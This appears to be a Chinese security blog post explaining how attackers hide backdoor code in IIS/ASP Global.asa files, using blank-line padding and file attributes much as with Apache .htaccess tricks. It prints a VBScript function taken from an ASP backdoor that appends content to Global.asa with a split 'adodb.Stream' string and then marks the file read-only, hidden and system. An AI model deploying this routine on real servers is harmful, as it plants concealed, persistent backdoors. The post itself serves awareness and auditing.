代码审计

巧妙在Global.asa文件里使用的.htaccess小技巧

.htaccess

众所周知:黑客会利用Apache配置的.htaccess文件去覆盖默认的WEB网站的配置,功能大概有以下几点:

添加条件重定向
创建虚拟路径(mod_rewrite)
自动添加PHP脚本
......

在IIS/ASP的环境中,有个Global.asa文件,这个文件包含了所有asp脚本的共同声明,放在某个ASP应用的根目录。如果该文件存在,该ASP应用会自动包含这个文件。

空白行
黑客也喜欢在Global.asa中使用各种.htaccess技巧,比如隐藏恶意内容,之后就会往里面注入大量的空白行。根据Windows浏览文本的特性,粗心的管理还是难以发现的。

Global.asa

文件隐藏属性
.htaccess还有另一个属性,那就是它们都是隐藏的。这意味着部分管理员可能不知道他们的存在,除非他们使用显示隐藏文件选项的FTP客户端,或者使用ls -a这类列文件命令参数。尽管Global.asa文件也不方便自动在Windows中隐藏,但黑客们仍然有其他办法。
下面的代码节选自创建恶意Global.asa的ASP后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Public Function createasa(ByVal Content)
On Error Resume Next
Set fso = Server.CreateObject("scripting.filesystemobject")
set f=fso.Getfile("//./" & Server.MapPath("/Global.asa"))
f.Attributes=0
Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "utf-8"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2
Obj.Close
Set Obj = Nothing
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
End Function

请注意文件里的“1+2+4”,这里解释下:
1 = 只读文件,网站应用可以读取文件不能写或者删除。
2 = 隐藏文件,不包含在普通文件列表里。
4 = 系统文件,系统进行部分调用,或者特殊专用。

(0)
Loading收藏(0)

本文由 老D博客 作者:老D 发表,转载请注明来源!

关键词:,
SS推荐

热评文章

发表评论

*

评论: 1 条评论,访客:0 条,博主:0 条 ,当前引用:1 条

当前外部引用:1 条

  • 余笑添